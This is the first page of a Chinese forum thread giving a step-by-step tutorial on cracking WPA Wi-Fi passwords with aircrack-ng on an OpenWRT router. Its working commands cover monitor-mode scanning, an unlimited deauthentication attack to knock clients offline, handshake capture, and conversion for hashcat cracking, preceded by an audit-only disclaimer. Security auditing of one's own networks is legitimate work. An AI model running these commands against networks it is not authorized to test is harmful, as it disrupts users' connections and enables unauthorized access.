OpenWRT高级应用之 aircrack-ng 无线渗透
openwrt吧
全部回复
仅看楼主
level 7
贴吧用户_QE1J9A6475 楼主
2022年03月10日 14点03分 1
level 7
贴吧用户_QE1J9A6475 楼主
在此声明：本教程中使用的工具仅用于无线安全审计，请勿用于非法目的，否则后果自负。
2022年03月12日 07点03分 2
level 7
贴吧用户_QE1J9A6475 楼主
Step 1 .安装
对已刷好的OpenWRT路由器（SSH连接路由器后台）：
# opkg update
# opkg install aircrack-ng airmon-ng hcxdumptool
若要在编译中写入固件，勾选
Network--->
Wireless--->
将aircrack-ng airmon-ng hcxdumptool三项勾选
2022年03月12日 08点03分 3
level 7
贴吧用户_QE1J9A6475 楼主
Step 2 .设置将路由器网卡设为监听状态
2022年03月12日 08点03分 4
level 7
贴吧用户_QE1J9A6475 楼主
Step 3 .扫描无线信号
SSH连接路由器
显示可用无线网卡（一般情况 2.4G wlan0 5G wlan1)
# iwconfig
扫描（使用wlan0网卡）
# airodump-ng wlan0
2022年03月12日 08点03分 5
贴吧用户_QE1J9A6475
扫描时按A可切换显示模式
2022年03月12日 08点03分
level 7
贴吧用户_QE1J9A6475 楼主
Step 4 . 抓取握手包
选择一个有客户端连接（有STATION）的AP（Ctrl+C停止扫描）
# airodump-ng -ivs -c 1 --bssid 2C:DD:95:1C:76:2D wlan0
# airodump-ng -ivs -c 信道（扫描时的CH值） --bssid 要抓包路由器的BSSID 网卡名
2022年03月12日 08点03分 6
贴吧用户_QE1J9A6475
上面的命令错了，忘了加保存命令 # airodump-ng -ivs -c 1 --bssid 2C:DD:95:1C:76:2D -w handshake wlan0 # airodump-ng -ivs -c 信道（扫描时的CH值） --bssid 要抓包路由器的BSSID -w 要保存的文件名 网卡名
2022年03月12日 14点03分
level 7
yuefengdo
和bt一个样
2022年03月12日 13点03分 7
level 7
贴吧用户_QE1J9A6475 楼主
另开一个窗口，SSH连上路由器，用aireplay-ng使客户端与AP断线，以抓取握手包
# airepaly-ng -0 0 -b 2C:DD:95:1C:76:2D wlan0
# airepaly-ng -0 0（模式0——“死亡攻击”，参数0代表不限次数，亦可自定义次数） -b 2C:DD:95:1C:76:2D（AP的BSSID） wlan0（要执行攻击的网卡）
2022年03月12日 13点03分 8
贴吧用户_QE1J9A6475
待客户端断线后按Ctrl+C停止，等待握手包
2022年03月12日 13点03分
level 7
贴吧用户_QE1J9A6475 楼主
如果airodump-ng出现[ WPA handshake XX:XX:XX:XX:XX:XX ]提示则握手包已抓到
2022年03月12日 14点03分 9
level 7
贴吧用户_QE1J9A6475 楼主
重述一下Step 4的命令
# airodump-ng -ivs -c 信道（扫描时的CH值） --bssid 要抓包路由器的BSSID -w 要保存的文件名 网卡名
2022年03月12日 14点03分 10
level 7
贴吧用户_QE1J9A6475 楼主
Step 5 .转换握手包
这个教程跑包用hashcat，需要对WPA握手包转换一下，转换为hashcat -m 22000格式的握手包
# hcxpcapngtool -o 转换的握手包名 原握手包名.cap
2022年03月12日 14点03分 11
level 7
贴吧用户_QE1J9A6475 楼主
接下来是跑包，这里用的是hashcat
链接: [无效] https://pan.baidu.com/s/1ioDzi7hQegmODAYCJbYgzw?pwd=w4** 提取码: w4**
这个是window平台的hashcat，用hashcat.launch启动
2022年03月13日 07点03分 12
贴吧用户_QE1J9A6475
github源码编译
2022年03月13日 07点03分
新鲜的客官
@贴吧用户_QE1J9A6475 为什么网盘提取码错误，提取码W4**，星号不太可能是提取码
2022年04月08日 08点04分
贴吧用户_QE1J9A6475
@新鲜的客官 hi，这是我用百度网盘分享的内容~复制这段内容打开「百度网盘」APP即可获取 链接:网页链接 提取码:n3f1
2022年04月08日 09点04分
level 7
贴吧用户_QE1J9A6475 楼主
2022年03月13日 07点03分 13
level 7
贴吧用户_QE1J9A6475 楼主
Step 6 .跑包
sftp连接openwrt，复制转换好的握手包至本地
2022年03月13日 07点03分 14
level 7
贴吧用户_QE1J9A6475 楼主
握手包放入.\hashcat\hashes这个目录
.指的是程序根目录
2022年03月13日 07点03分 15
1 2 尾页